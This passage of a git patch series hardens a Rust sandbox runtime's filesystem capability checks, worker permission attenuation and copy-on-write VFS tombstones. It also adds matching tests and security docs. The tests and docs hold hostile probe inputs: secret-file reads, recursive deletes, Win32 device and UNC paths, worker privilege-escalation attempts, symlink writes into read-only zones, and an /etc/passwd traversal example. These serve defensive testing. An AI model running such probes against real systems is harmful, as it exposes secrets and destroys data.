norm_vfs_path, BOA_ACTIVE_CAPS, + check_boa_fs_read_ocap, mark_subsystem_dirty, norm_vfs_path, BoaFsCaps, BOA_ACTIVE_CAPS, BOA_ACTIVE_TENANT, BOA_DET_STATE, BOA_EGRESS_SECRETS, BOA_ENV_MAP, BOA_EXEC_BINS, - BOA_FETCH_MOCKS, BOA_KV_MEM_BUDGET, BOA_NET_HOSTS, BOA_VFS_CACHE, BOA_VFS_DIRS, BOA_VIOLATION, - DIRTY_WORKERS, + BOA_FETCH_MOCKS, BOA_KV_MEM_BUDGET, BOA_NET_HOSTS, BOA_VFS_CACHE, BOA_VFS_DIRS, + BOA_VFS_TOMBSTONES, BOA_VIOLATION, DIRTY_WORKERS, }; use crate::intrinsics::base64_decode; use crate::isolate::SliceIsolate; @@ -63,6 +63,7 @@ struct WorkerJob { parent_egress_secrets: Vec, parent_vfs_cache: FxHashMap>>, parent_vfs_dirs: FxHashSet, + parent_vfs_tombstones: FxHashSet, parent_fetch_mocks: FxHashMap, parent_ws_mocks: FxHashMap, parent_sock_mocks: FxHashMap, @@ -312,8 +313,14 @@ fn resolve_worker_script_source(specifier_or_code: &str, is_eval: bool) -> Resul } let raw_path = trimmed.strip_prefix("file://").unwrap_or(trimmed); + if !check_boa_fs_read_ocap(raw_path) { + return Err(format!( + "SandboxViolation: Worker script read '{}' denied by OCap read policy", + raw_path + )); + } let norm = norm_vfs_path(raw_path); - if !check_boa_fs_read_ocap(&norm) { + if norm != raw_path && !check_boa_fs_read_ocap(&norm) { return Err(format!( "SandboxViolation: Worker script read '{}' denied by OCap read policy", norm @@ -334,6 +341,13 @@ fn resolve_worker_script_source(specifier_or_code: &str, is_eval: bool) -> Resul return Ok(String::from_utf8_lossy(&vfs_src).into_owned()); } + if crate::bindings::fs::is_vfs_tombstoned(&norm) { + return Err(format!( + "WorkerError: Cannot read worker module '{}': file removed in VFS", + raw_path + )); + } + // 2. Fallback to host filesystem if OCap permits std::fs::read_to_string(raw_path).map_err(|e| { format!( @@ -345,58 +359,43 @@ fn resolve_worker_script_source(specifier_or_code: &str, is_eval: bool) -> Resul fn build_attenuated_worker_caps( attenuation: Option<&WorkerSliceAttenuationOpts>, - parent_caps_opt: &Option<(String, Vec, Vec)>, + parent_caps: &BoaFsCaps, parent_net_hosts: &FxHashSet, parent_env_map: &FxHashMap, ) -> CapabilityToken { let mut child_caps = CapabilityToken::pure_compute(); - let parent_reads: &[String] = parent_caps_opt - .as_ref() - .map(|(_, r, _)| r.as_slice()) - .unwrap_or(&[]); - let parent_writes: &[String] = parent_caps_opt - .as_ref() - .map(|(_, _, w)| w.as_slice()) - .unwrap_or(&[]); + let parent_reads = parent_caps.read_prefixes.as_slice(); + let parent_writes = parent_caps.write_prefixes.as_slice(); - // 1. Attenuate read prefixes + // 1. Attenuate read prefixes strictly (`parent ∩ requested`; empty allow-list = deny-all) if let Some(req_reads) = attenuation.and_then(|a| a.allow_read.as_ref()) { - if req_reads.is_empty() { - child_caps = child_caps.with_read_prefix("/__slice_worker_denied_read__"); - } else { - for req in req_reads { - let norm_req = norm_vfs_path(req); - if parent_reads.is_empty() || parent_reads.iter().any(|p| norm_req.starts_with(p)) { - child_caps = child_caps.with_read_prefix(norm_req); - } - } - if child_caps.allowed_read_prefixes.is_empty() { - child_caps = child_caps.with_read_prefix("/__slice_worker_denied_read__"); + for req in req_reads { + if !slice_sandbox::is_rejected_vfs_candidate(req) + && parent_reads + .iter() + .any(|p| slice_sandbox::vfs_prefix_matches(req, p)) + { + child_caps = child_caps.with_read_prefix(norm_vfs_path(req)); } } - } else if !parent_reads.is_empty() { + } else { for p in parent_reads { child_caps = child_caps.with_read_prefix(p.clone()); } } - // 2. Attenuate write prefixes + // 2. Attenuate write prefixes strictly (`parent ∩ requested`; empty allow-list = deny-all) if let Some(req_writes) = attenuation.and_then(|a| a.allow_write.as_ref()) { - if req_writes.is_empty() { - child_caps = child_caps.with_write_prefix("/__slice_worker_denied_write__"); - } else { - for req in req_writes { - let norm_req = norm_vfs_path(req); - if parent_writes.is_empty() || parent_writes.iter().any(|p| norm_req.starts_with(p)) - { - child_caps = child_caps.with_write_prefix(norm_req); - } - } - if child_caps.allowed_write_prefixes.is_empty() { - child_caps = child_caps.with_write_prefix("/__slice_worker_denied_write__"); + for req in req_writes { + if !slice_sandbox::is_rejected_vfs_candidate(req) + && parent_writes + .iter() + .any(|p| slice_sandbox::vfs_prefix_matches(req, p)) + { + child_caps = child_caps.with_write_prefix(norm_vfs_path(req)); } } - } else if !parent_writes.is_empty() { + } else { for p in parent_writes { child_caps = child_caps.with_write_prefix(p.clone()); } @@ -500,6 +499,14 @@ pub fn worker_spawn(specifier_or_code: &str, options_json: &str) -> Result Result) { BOA_VFS_CACHE.with(|c| *c.borrow_mut() = job.parent_vfs_cache); BOA_VFS_DIRS.with(|d| *d.borrow_mut() = job.parent_vfs_dirs); + BOA_VFS_TOMBSTONES.with(|t| *t.borrow_mut() = job.parent_vfs_tombstones); BOA_FETCH_MOCKS.with(|m| *m.borrow_mut() = job.parent_fetch_mocks); BOA_WS_MOCKS.with(|m| *m.borrow_mut() = job.parent_ws_mocks); BOA_SOCKET_MOCKS.with(|m| *m.borrow_mut() = job.parent_sock_mocks); @@ -817,6 +826,7 @@ fn run_pooled_worker_job(job: WorkerJob, self_job_tx: &Sender) { WORKER_SELF_ENV.with(|env| *env.borrow_mut() = WorkerSelfThreadEnv::default()); BOA_VFS_CACHE.with(|c| c.borrow_mut().clear()); BOA_VFS_DIRS.with(|d| d.borrow_mut().clear()); + BOA_VFS_TOMBSTONES.with(|t| t.borrow_mut().clear()); GLOBAL_ACTIVE_WORKERS.fetch_sub(1, Ordering::AcqRel); if let Ok(mut pool) = idle_worker_pool().lock() { if pool.len() < MAX_POOLED_WORKER_THREADS { From 402fe17f4faff6621e71c514ae5a76e9934946b4 Mon Sep 17 00:00:00 2001 From: SIKTEC Date: Wed, 11 Nov 2026 16:26:14 -0500 Subject: [PATCH 2/6] test: align fs OCap suites, benchmark manifests, and security docs --- .../tests/cli_security_and_perf_tests.rs | 123 +++++++ .../slice-cli/tests/server_and_mcp_tests.rs | 19 +- .../tests/async_webcrypto_and_node_tests.rs | 14 +- .../tests/bindings_security_and_perf_tests.rs | 318 ++++++++++++++++++ .../tests/tier0_boacas_and_core_tests.rs | 4 +- .../wintertc_fetch_and_timetravel_tests.rs | 4 +- .../04_security_ocap_ses_and_hardware_mpk.md | 7 +- .../07_node_compat_intrinsics_and_npm.md | 4 +- tests/README.md | 6 +- tests/apps/03-disk-io-log-pipeline/slice.toml | 12 + .../06-telemetry-metrics-pipeline/slice.toml | 12 + .../08-event-driven-state-journal/slice.toml | 12 + 12 files changed, 517 insertions(+), 18 deletions(-) create mode 100644 tests/apps/03-disk-io-log-pipeline/slice.toml create mode 100644 tests/apps/06-telemetry-metrics-pipeline/slice.toml create mode 100644 tests/apps/08-event-driven-state-journal/slice.toml diff --git a/crates/slice-cli/tests/cli_security_and_perf_tests.rs b/crates/slice-cli/tests/cli_security_and_perf_tests.rs index 801c20b..ee87197 100644 --- a/crates/slice-cli/tests/cli_security_and_perf_tests.rs +++ b/crates/slice-cli/tests/cli_security_and_perf_tests.rs @@ -305,3 +305,126 @@ fn test_wave1_cli_eval_print_check_argv_and_exit_codes() { LAST_CLI_EXIT_CODE.store(0, Ordering::Relaxed); let _ = std::fs::remove_dir_all(&tmp_dir); } + +#[test] +fn test_default_cli_zero_fs_containment_across_run_cas_and_serve() { + use crate::commands::run::cmd_run; + use std::io::{Read, Write}; + use std::net::{TcpListener, TcpStream}; + + let tmp_dir = + std::env::temp_dir().join(format!("slice_cli_default_zero_fs_{}", std::process::id())); + let _ = std::fs::remove_dir_all(&tmp_dir); + let victim_sub = tmp_dir.join("victim").join("sub"); + std::fs::create_dir_all(&victim_sub).unwrap(); + let victim_file = tmp_dir.join("victim").join("secret.txt"); + std::fs::write(&victim_file, "CLI_HOST_SECRET").unwrap(); + + let v_file_norm = victim_file.to_string_lossy().replace('\\', "/"); + let v_dir_norm = tmp_dir.join("victim").to_string_lossy().replace('\\', "/"); + + let read_script = tmp_dir.join("read_probe.ts"); + std::fs::write( + &read_script, + format!( + "import * as fs from 'node:fs';\nconsole.log(fs.readFileSync({:?}, 'utf8'));\n", + v_file_norm + ), + ) + .unwrap(); + + let rm_script = tmp_dir.join("rm_probe.ts"); + std::fs::write( + &rm_script, + format!( + "import * as fs from 'node:fs';\nfs.unlinkSync({:?});\nfs.rmSync({:?}, {{ recursive: true, force: true }});\n", + v_file_norm, v_dir_norm + ), + ) + .unwrap(); + + // 1. Default `slice run` (cold and `--warm`) rejects host reads and deletes + for warm_flag in [false, true] { + let mut r_args = vec![read_script.to_string_lossy().to_string()]; + if warm_flag { + r_args.push("--warm".to_string()); + } + let r_err = cmd_run(&r_args).unwrap_err().to_string(); + assert!( + r_err.contains("lacks filesystem read authority"), + "expected FsReadDenied on slice run (warm={}), got: {}", + warm_flag, + r_err + ); + + let mut w_args = vec![rm_script.to_string_lossy().to_string()]; + if warm_flag { + w_args.push("--warm".to_string()); + } + let w_err = cmd_run(&w_args).unwrap_err().to_string(); + assert!( + w_err.contains("lacks filesystem write authority"), + "expected FsWriteDenied on slice run rm (warm={}), got: {}", + warm_flag, + w_err + ); + } + assert!( + victim_file.exists() && victim_sub.exists(), + "host victim files must remain intact on disk" + ); + + // 2. Packed `.cas` archive executed with default flags also blocks host read + let cas_path = tmp_dir.join("read_probe.cas"); + build_cas_archive(&read_script, &cas_path, "./read_probe.ts").unwrap(); + let cas_err = cmd_run(&[cas_path.to_string_lossy().to_string()]) + .unwrap_err() + .to_string(); + assert!(cas_err.contains("lacks filesystem read authority")); + + // 3. `slice serve` HTTP handler with default pure_compute() returns HTTP 403 on host FS probe + let srv_code = format!( + "import * as fs from 'node:fs';\nSlice.respond(200, fs.readFileSync({:?}, 'utf8'), 'text/plain');\n", + v_file_norm + ); + let srv_bc = + compile_source_to_bytecode(&slice_cas::strip_typescript_and_normalize(&srv_code, true)); + let listener = TcpListener::bind(("127.0.0.1", 0)).unwrap(); + let port = listener.local_addr().unwrap().port(); + let srv_handle = std::thread::spawn(move || { + let (stream, _) = listener.accept().unwrap(); + let mut rbuf = vec![0u8; 8192]; + let mut wbuf = Vec::with_capacity(1024); + let _ = serve_connection_keep_alive_with_tls_and_secrets( + stream, + 1, + &srv_bc, + None, + None, + None, + &CapabilityToken::pure_compute(), + &[], + 5_000_000, + 4 * 1024 * 1024, + &mut rbuf, + &mut wbuf, + None, + None, + ); + }); + let mut client = TcpStream::connect(("127.0.0.1", port)).unwrap(); + client + .write_all(b"GET /probe HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n") + .unwrap(); + let mut http_resp = String::new(); + client.read_to_string(&mut http_resp).unwrap(); + srv_handle.join().unwrap(); + assert!( + http_resp.starts_with("HTTP/1.1 403") + && http_resp.contains("lacks filesystem read authority"), + "expected HTTP 403 OCap violation from slice serve, got: {}", + http_resp + ); + + let _ = std::fs::remove_dir_all(&tmp_dir); +} diff --git a/crates/slice-cli/tests/server_and_mcp_tests.rs b/crates/slice-cli/tests/server_and_mcp_tests.rs index 7c0f37d..e582f12 100644 --- a/crates/slice-cli/tests/server_and_mcp_tests.rs +++ b/crates/slice-cli/tests/server_and_mcp_tests.rs @@ -579,10 +579,27 @@ describe("Ledger Time-Travel Suite", () => { ) .unwrap(); - // 3. Execute `cmd_test` against `tmp_dir` with `--env-file` and `--json` + // 3a. Without filesystem capabilities, `slice test` must block `node:fs` access by default + let denied_args = vec![ + tmp_dir.to_string_lossy().to_string(), + format!("--env-file={}", env_path.to_string_lossy()), + "--json".to_string(), + ]; + let denied_err = cmd_test(&denied_args) + .expect_err("Expected `slice test` without --allow-read/--allow-write to reject node:fs") + .to_string(); + assert!( + denied_err.contains("OCap Violation") && denied_err.contains("/tmp/f4_cli_ledger.json"), + "Unexpected error from zero-authority slice test: {}", + denied_err + ); + + // 3b. Execute `cmd_test` against `tmp_dir` with explicit `/tmp` VFS capabilities, `--env-file`, and `--json` let test_args = vec![ tmp_dir.to_string_lossy().to_string(), format!("--env-file={}", env_path.to_string_lossy()), + "--allow-read=/tmp".to_string(), + "--allow-write=/tmp".to_string(), "--json".to_string(), ]; cmd_test(&test_args).expect("Expected `slice test` to pass all 3 specs"); diff --git a/crates/slice-engine/tests/async_webcrypto_and_node_tests.rs b/crates/slice-engine/tests/async_webcrypto_and_node_tests.rs index 523ad4d..f121843 100644 --- a/crates/slice-engine/tests/async_webcrypto_and_node_tests.rs +++ b/crates/slice-engine/tests/async_webcrypto_and_node_tests.rs @@ -644,23 +644,21 @@ main(); "#; let bc = compile_source_to_bytecode(script); + let n4_caps = CapabilityToken::pure_compute() + .with_read_prefix("/tmp") + .with_write_prefix("/tmp"); let mut iso1 = SliceIsolate::spawn( "phase-n4-tenant-1", 1, - CapabilityToken::pure_compute(), + n4_caps.clone(), 25_000_000, 8 * 1024 * 1024, ); iso1.set_deterministic_seed(Some(20261104)); let m1 = iso1.execute_bytecode(&bc, None).unwrap(); - let mut iso2 = SliceIsolate::spawn( - "phase-n4-tenant-2", - 2, - CapabilityToken::pure_compute(), - 25_000_000, - 8 * 1024 * 1024, - ); + let mut iso2 = + SliceIsolate::spawn("phase-n4-tenant-2", 2, n4_caps, 25_000_000, 8 * 1024 * 1024); iso2.set_deterministic_seed(Some(20261104)); let m2 = iso2.execute_bytecode(&bc, None).unwrap(); diff --git a/crates/slice-engine/tests/bindings_security_and_perf_tests.rs b/crates/slice-engine/tests/bindings_security_and_perf_tests.rs index 8f47293..695decb 100644 --- a/crates/slice-engine/tests/bindings_security_and_perf_tests.rs +++ b/crates/slice-engine/tests/bindings_security_and_perf_tests.rs @@ -347,3 +347,321 @@ fn test_perf01_02_03_zero_copy_typed_array_subarray_dataview_and_btoa_throughput assert_eq!(out.trim(), "OK"); } + +#[test] +fn test_default_pure_compute_fs_deny_by_default_across_all_surfaces() { + let host_dir = + std::env::temp_dir().join(format!("slice_default_ocap_probe_{}", std::process::id())); + let _ = std::fs::remove_dir_all(&host_dir); + std::fs::create_dir_all(&host_dir).unwrap(); + let host_file = host_dir.join("probe.txt"); + std::fs::write(&host_file, "SENSITIVE_HOST_PAYLOAD").unwrap(); + let p_file = host_file.to_string_lossy().replace('\\', "/"); + let p_dir = host_dir.to_string_lossy().replace('\\', "/"); + + // 1. Default pure_compute() blocks readFileSync, readdirSync, existsSync, statSync + for (label, expr) in [ + ( + "readFileSync", + format!("fs.readFileSync({:?}, 'utf8')", p_file), + ), + ("readdirSync", format!("fs.readdirSync({:?})", p_dir)), + ("existsSync", format!("fs.existsSync({:?})", p_file)), + ("statSync", format!("fs.statSync({:?})", p_file)), + ] { + let script = format!("import * as fs from 'node:fs';\n{};\n", expr); + let err = eval_ts_with_caps( + "default-read-deny", + &script, + CapabilityToken::pure_compute(), + ) + .expect_err("default pure_compute() must block host/VFS read"); + assert!( + matches!(err, SandboxViolation::FsReadDenied { .. }), + "expected FsReadDenied for {}, got: {:?}", + label, + err + ); + } + + // 2. Default pure_compute() blocks writeFileSync, unlinkSync, rmSync, rmdirSync, mkdirSync + for (label, expr) in [ + ( + "writeFileSync", + format!("fs.writeFileSync({:?}, 'x')", p_file), + ), + ("unlinkSync", format!("fs.unlinkSync({:?})", p_file)), + ( + "rmSync", + format!("fs.rmSync({:?}, {{ recursive: true, force: true }})", p_dir), + ), + ( + "mkdirSync", + format!("fs.mkdirSync({:?} + '/sub', {{ recursive: true }})", p_dir), + ), + ] { + let script = format!("import * as fs from 'node:fs';\n{};\n", expr); + let err = eval_ts_with_caps( + "default-write-deny", + &script, + CapabilityToken::pure_compute(), + ) + .expect_err("default pure_compute() must block host/VFS write and delete"); + assert!( + matches!(err, SandboxViolation::FsWriteDenied { .. }), + "expected FsWriteDenied for {}, got: {:?}", + label, + err + ); + } + assert!( + host_file.exists(), + "host file must remain untouched after denied rmSync/unlinkSync" + ); + + // 3. HTTP fast & standard request handlers and prewarm_boa_bundle also enforce default deny + let http_script = format!( + r#" + import * as fs from "node:fs"; + let cached = ""; + try {{ cached = fs.readFileSync({:?}, "utf8"); }} catch (_e) {{}} + (globalThis as any).__cachedLeak = cached; + Slice.respond(200, cached || "empty", "text/plain"); + "#, + p_file + ); + let http_bundled = slice_cas::strip_typescript_and_normalize(&http_script, true); + let http_bc = compile_source_to_bytecode(&http_bundled); + SliceIsolate::prewarm_boa_bundle(&http_bc); + + let req = HttpRequestContext { + method: "GET", + path: "/leak", + query: "", + tenant_id: "http-default-deny", + body: "", + headers: &[], + }; + let mut http_iso = SliceIsolate::spawn( + "http-default-deny", + 1, + CapabilityToken::pure_compute(), + 5_000_000, + 4 * 1024 * 1024, + ); + let fast_err = http_iso + .execute_http_request_fast(&http_bc, None, &req) + .expect_err("execute_http_request_fast with pure_compute() must trap FsReadDenied"); + assert!(matches!(fast_err, SandboxViolation::FsReadDenied { .. })); + + // 4. Win32 device namespace and UNC share candidates are rejected even when "/" is granted + let broad_caps = CapabilityToken::pure_compute() + .with_read_prefix("/") + .with_write_prefix("/"); + for bad_path in [ + r"\\.\PhysicalDrive0", + "//./pipe/docker_engine", + r"\\server\share\secret.txt", + "//?/UNC/server/share/secret.txt", + ] { + let bad_script = format!( + "import * as fs from 'node:fs';\nfs.readFileSync({:?}, 'utf8');\n", + bad_path + ); + let err = eval_ts_with_caps("device-unc-deny", &bad_script, broad_caps.clone()) + .expect_err("device/UNC path must be rejected"); + assert!(matches!(err, SandboxViolation::FsReadDenied { .. })); + } + + let _ = std::fs::remove_dir_all(&host_dir); +} + +#[test] +fn test_vfs_copy_on_write_rm_tombstones_and_checkpoint_restore_preserve_host_disk() { + let victim_dir = + std::env::temp_dir().join(format!("slice_cow_vfs_tombstone_{}", std::process::id())); + let _ = std::fs::remove_dir_all(&victim_dir); + let sub_dir = victim_dir.join("dir").join("sub"); + std::fs::create_dir_all(&sub_dir).unwrap(); + let root_file = victim_dir.join("file.txt"); + let nested_file = sub_dir.join("nested.txt"); + let rename_src = victim_dir.join("rename_me.txt"); + std::fs::write(&root_file, "host-root-data").unwrap(); + std::fs::write(&nested_file, "host-nested-data").unwrap(); + std::fs::write(&rename_src, "host-rename-payload").unwrap(); + + let v_norm = victim_dir.to_string_lossy().replace('\\', "/"); + let caps = CapabilityToken::pure_compute() + .with_read_prefix(&v_norm) + .with_write_prefix(&v_norm); + + let script = format!( + r#" + import * as fs from "node:fs"; + const V = {:?}; + const snap = Slice.checkpoint(); + + // Unlink file, recursively remove directory tree, and rename host-backed file + fs.unlinkSync(V + "/file.txt"); + fs.rmSync(V + "/dir", {{ recursive: true, force: true }}); + fs.renameSync(V + "/rename_me.txt", V + "/renamed.txt"); + + const goneAfterRm = !fs.existsSync(V + "/file.txt") + && !fs.existsSync(V + "/dir") + && !fs.existsSync(V + "/dir/sub/nested.txt") + && !fs.existsSync(V + "/rename_me.txt") + && fs.readFileSync(V + "/renamed.txt", "utf8") === "host-rename-payload"; + + let readUnlinkedThrew = false; + try {{ fs.readFileSync(V + "/file.txt", "utf8"); }} catch (_e) {{ readUnlinkedThrew = true; }} + + const entriesAfterRm = fs.readdirSync(V); + + // Recreate V + "/dir" in VFS and verify old host child does NOT reappear as a ghost + fs.mkdirSync(V + "/dir", {{ recursive: true }}); + fs.writeFileSync(V + "/dir/fresh.txt", "fresh-vfs"); + const dirEntriesRecreated = fs.readdirSync(V + "/dir"); + const ghostStayedHidden = !fs.existsSync(V + "/dir/sub/nested.txt"); + + // Roll back to pre-deletion checkpoint + Slice.restore(snap); + const restoredOk = fs.readFileSync(V + "/file.txt", "utf8") === "host-root-data" + && fs.readFileSync(V + "/dir/sub/nested.txt", "utf8") === "host-nested-data" + && fs.readFileSync(V + "/rename_me.txt", "utf8") === "host-rename-payload" + && !fs.existsSync(V + "/renamed.txt"); + + console.log(JSON.stringify({{ + goneAfterRm, + readUnlinkedThrew, + entriesAfterRm, + dirEntriesRecreated, + ghostStayedHidden, + restoredOk + }})); + "#, + v_norm + ); + + let out = eval_ts_with_caps("cow-tombstone-tenant", &script, caps).unwrap(); + let parsed: serde_json::Value = serde_json::from_str(out.trim()).unwrap(); + assert_eq!(parsed["goneAfterRm"], true); + assert_eq!(parsed["readUnlinkedThrew"], true); + assert_eq!(parsed["entriesAfterRm"], serde_json::json!(["renamed.txt"])); + assert_eq!( + parsed["dirEntriesRecreated"], + serde_json::json!(["fresh.txt"]) + ); + assert_eq!(parsed["ghostStayedHidden"], true); + assert_eq!(parsed["restoredOk"], true); + + // Real host files and directory hierarchy must remain 100% intact on disk + assert_eq!( + std::fs::read_to_string(&root_file).unwrap(), + "host-root-data" + ); + assert_eq!( + std::fs::read_to_string(&nested_file).unwrap(), + "host-nested-data" + ); + assert_eq!( + std::fs::read_to_string(&rename_src).unwrap(), + "host-rename-payload" + ); + + let _ = std::fs::remove_dir_all(&victim_dir); +} + +#[test] +fn test_worker_fs_capability_attenuation_and_symlink_write_containment() { + // 1. Zero-authority parent cannot mint allowRead/allowWrite for a spawned Worker + let zero_worker_script = r#" + async function main() { + const w = new Worker( + `const fs = require("node:fs"); fs.readFileSync("/tmp/probe.txt", "utf8");`, + { + eval: true, + slice: { allowRead: ["/tmp"], allowWrite: ["/tmp"], fuel: 500000 } + } + ); + let errMsg = ""; + w.on("error", (err: any) => { errMsg = String(err && err.message ? err.message : err); }); + await new Promise((resolve) => w.on("exit", () => resolve())); + console.log(errMsg); + } + main(); + "#; + let out_zero = eval_ts_with_caps( + "worker-zero-parent", + zero_worker_script, + CapabilityToken::pure_compute(), + ) + .unwrap(); + assert!( + out_zero.contains("FsReadDenied") || out_zero.contains("filesystem read authority"), + "expected worker spawned by pure_compute() parent to trap FsReadDenied, got: {}", + out_zero + ); + + // 2. Scoped parent (/tmp/app) cannot escalate worker to sibling prefix (/tmp/app-secrets) + let boundary_caps = CapabilityToken::pure_compute() + .with_read_prefix("/tmp/app") + .with_write_prefix("/tmp/app"); + let boundary_script = r#" + async function main() { + const w = new Worker( + `const fs = require("node:fs"); fs.readFileSync("/tmp/app-secrets/token.txt", "utf8");`, + { + eval: true, + slice: { allowRead: ["/tmp/app-secrets"], fuel: 500000 } + } + ); + let errMsg = ""; + w.on("error", (err: any) => { errMsg = String(err && err.message ? err.message : err); }); + await new Promise((resolve) => w.on("exit", () => resolve())); + console.log(errMsg); + } + main(); + "#; + let out_boundary = + eval_ts_with_caps("worker-boundary-parent", boundary_script, boundary_caps).unwrap(); + assert!( + out_boundary.contains("FsReadDenied") || out_boundary.contains("filesystem read authority"), + "expected worker prefix-boundary escalation to trap FsReadDenied, got: {}", + out_boundary + ); + + // 3. VFS symlink pointing into read-only prefix blocks mkdirSync and chmodSync + let sym_caps = CapabilityToken::pure_compute() + .with_read_prefix("/ro_zone") + .with_read_prefix("/rw_zone") + .with_write_prefix("/rw_zone"); + let sym_chmod_err = eval_ts_with_caps( + "symlink-chmod-ro", + r#" + import * as fs from "node:fs"; + fs.symlinkSync("/ro_zone/config.json", "/rw_zone/cfg_link"); + fs.chmodSync("/rw_zone/cfg_link", 0o777); + "#, + sym_caps.clone(), + ) + .expect_err("chmodSync through symlink into read-only prefix must fail FsWriteDenied"); + assert!(matches!( + sym_chmod_err, + SandboxViolation::FsWriteDenied { .. } + )); + + let sym_mkdir_err = eval_ts_with_caps( + "symlink-mkdir-ro", + r#" + import * as fs from "node:fs"; + fs.symlinkSync("/ro_zone/new_dir", "/rw_zone/dir_link"); + fs.mkdirSync("/rw_zone/dir_link", { recursive: true }); + "#, + sym_caps, + ) + .expect_err("mkdirSync through symlink into read-only prefix must fail FsWriteDenied"); + assert!(matches!( + sym_mkdir_err, + SandboxViolation::FsWriteDenied { .. } + )); +} diff --git a/crates/slice-engine/tests/tier0_boacas_and_core_tests.rs b/crates/slice-engine/tests/tier0_boacas_and_core_tests.rs index 971783f..983aa2a 100644 --- a/crates/slice-engine/tests/tier0_boacas_and_core_tests.rs +++ b/crates/slice-engine/tests/tier0_boacas_and_core_tests.rs @@ -140,7 +140,9 @@ console.log(JSON.stringify({ match: readBack === digest, size: statSize, prefix8 let mut isolate = SliceIsolate::spawn( "boa-test-tenant", 1, - CapabilityToken::pure_compute(), + CapabilityToken::pure_compute() + .with_read_prefix("/tmp") + .with_write_prefix("/tmp"), 10_000_000, 4 * 1024 * 1024, ); diff --git a/crates/slice-engine/tests/wintertc_fetch_and_timetravel_tests.rs b/crates/slice-engine/tests/wintertc_fetch_and_timetravel_tests.rs index 837f03e..8c53389 100644 --- a/crates/slice-engine/tests/wintertc_fetch_and_timetravel_tests.rs +++ b/crates/slice-engine/tests/wintertc_fetch_and_timetravel_tests.rs @@ -443,7 +443,9 @@ console.log(JSON.stringify(Slice.testSummary())); let mut iso = SliceIsolate::spawn( "f4-test-runner", 1, - CapabilityToken::pure_compute(), + CapabilityToken::pure_compute() + .with_read_prefix("/tmp") + .with_write_prefix("/tmp"), 10_000_000, 8 * 1024 * 1024, ); diff --git a/docs/general/04_security_ocap_ses_and_hardware_mpk.md b/docs/general/04_security_ocap_ses_and_hardware_mpk.md index 5e2ccfa..1cba335 100644 --- a/docs/general/04_security_ocap_ses_and_hardware_mpk.md +++ b/docs/general/04_security_ocap_ses_and_hardware_mpk.md @@ -42,8 +42,8 @@ allow_write = ["/tmp/cache"] slice run ./src/pipeline.ts --allow-read=/app/public,/tmp/cache --allow-write=/tmp/cache ``` -### 2.3 Automatic Path Traversal (`..`) Blocking -Every `node:fs` function (`readFileSync`, `writeFileSync`, `appendFileSync`, `existsSync`, `mkdirSync`, `readdirSync`, `statSync`, `unlinkSync`, `rmSync`) normalizes path separators and **unconditionally rejects any path containing `..`**. +### 2.3 Path Traversal (`..`), NUL Byte & Device/UNC Blocking +Every `node:fs` function (`readFileSync`, `writeFileSync`, `appendFileSync`, `existsSync`, `mkdirSync`, `readdirSync`, `statSync`, `renameSync`, `unlinkSync`, `rmSync`, `symlinkSync`, `chmodSync`) normalizes path separators and **unconditionally rejects any path containing `..`, NUL bytes (`\0`), Win32 device namespaces (`\\.\`), or UNC network shares (`\\server\share`)**. For example, if you grant `--allow-read=/app/public`, an attacker attempting: ```typescript import * as fs from "node:fs"; @@ -54,6 +54,9 @@ is immediately blocked with: OCap Violation: Compartment 'cli-tenant' lacks filesystem read authority for '/app/public/../../etc/passwd' ``` +### 2.4 Copy-on-Write VFS Mutations (Host Disk Preservation) +Even when `allow_write` is granted for a directory, `writeFileSync`, `appendFileSync`, `copyFileSync`, `renameSync`, `unlinkSync`, and `rmSync` operate strictly inside the isolate's in-memory copy-on-write VFS (`BOA_VFS_CACHE` and VFS tombstones). Unlinking or removing a path masks any underlying host entry inside the isolate without deleting files from the host OS disk, and `Slice.checkpoint()` / `Slice.restore()` rolls VFS writes and tombstones back in `< 5 us`. + --- ## 3. Controlling Outbound Network Access (`allow_net`) & The Built-In SSRF Shield diff --git a/docs/general/07_node_compat_intrinsics_and_npm.md b/docs/general/07_node_compat_intrinsics_and_npm.md index 5f80fd9..f530252 100644 --- a/docs/general/07_node_compat_intrinsics_and_npm.md +++ b/docs/general/07_node_compat_intrinsics_and_npm.md @@ -10,8 +10,8 @@ This chapter provides the complete API reference for every built-in `node:*` mod All built-in modules can be imported with or without the `node:` prefix (`import * as fs from "node:fs"` or `import * as fs from "fs"`, as well as CommonJS `require("node:fs")` or `require("fs")`). They are loaded lazily on first use (`0.00 ns` cost if unused). -### 1.1 `node:fs` / `fs` & `node:fs/promises` (OCap-Guarded In-Memory VFS Slab + OS Disk Fallback) -Every `node:fs` and `node:fs/promises` operation checks your `allow_read` / `allow_write` prefixes, blocks `..` traversal, serves hot files from Slice's in-memory VFS slab (`BOA_VFS_CACHE`), and automatically snapshots/restores during `Slice.checkpoint()` / `Slice.restore()` and `slice test`! +### 1.1 `node:fs` / `fs` & `node:fs/promises` (OCap-Guarded Copy-on-Write VFS Slab + Read-Only Host Fallback) +Every `node:fs` and `node:fs/promises` operation checks your `allow_read` / `allow_write` prefixes, blocks `..` traversal, NUL bytes, and device/UNC paths, serves hot files from Slice's in-memory copy-on-write VFS slab (`BOA_VFS_CACHE`), masks unlinked paths with VFS tombstones without deleting host OS files, and snapshots/restores state in `< 5 us` during `Slice.checkpoint()` / `Slice.restore()` and `slice test`. ```typescript import * as fs from "node:fs"; diff --git a/tests/README.md b/tests/README.md index ae37f0c..1244543 100644 --- a/tests/README.md +++ b/tests/README.md @@ -32,7 +32,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar ``` ### 3. [`apps/03-disk-io-log-pipeline/`](./apps/03-disk-io-log-pipeline/src/index.ts) - High-Throughput Disk I/O, Directory Scan & JSONL Stream Processing -- **Structure:** [`package.json`](./apps/03-disk-io-log-pipeline/package.json), [`src/log_generator.ts`](./apps/03-disk-io-log-pipeline/src/log_generator.ts), [`src/io_aggregator.ts`](./apps/03-disk-io-log-pipeline/src/io_aggregator.ts), [`src/index.ts`](./apps/03-disk-io-log-pipeline/src/index.ts). +- **Structure:** [`package.json`](./apps/03-disk-io-log-pipeline/package.json), [`slice.toml`](./apps/03-disk-io-log-pipeline/slice.toml), [`src/log_generator.ts`](./apps/03-disk-io-log-pipeline/src/log_generator.ts), [`src/io_aggregator.ts`](./apps/03-disk-io-log-pipeline/src/io_aggregator.ts), [`src/index.ts`](./apps/03-disk-io-log-pipeline/src/index.ts). - **What it tests:** Intensive filesystem I/O (`node:fs`, `node:path`, `node:os`, `node:crypto`) creating, writing, stating, directory-scanning, reading, parsing, SHA-256 verifying, and unlinking 10 JSONL log shard files (`200` records, `15,796 bytes`). - **Identical Output Across All 4 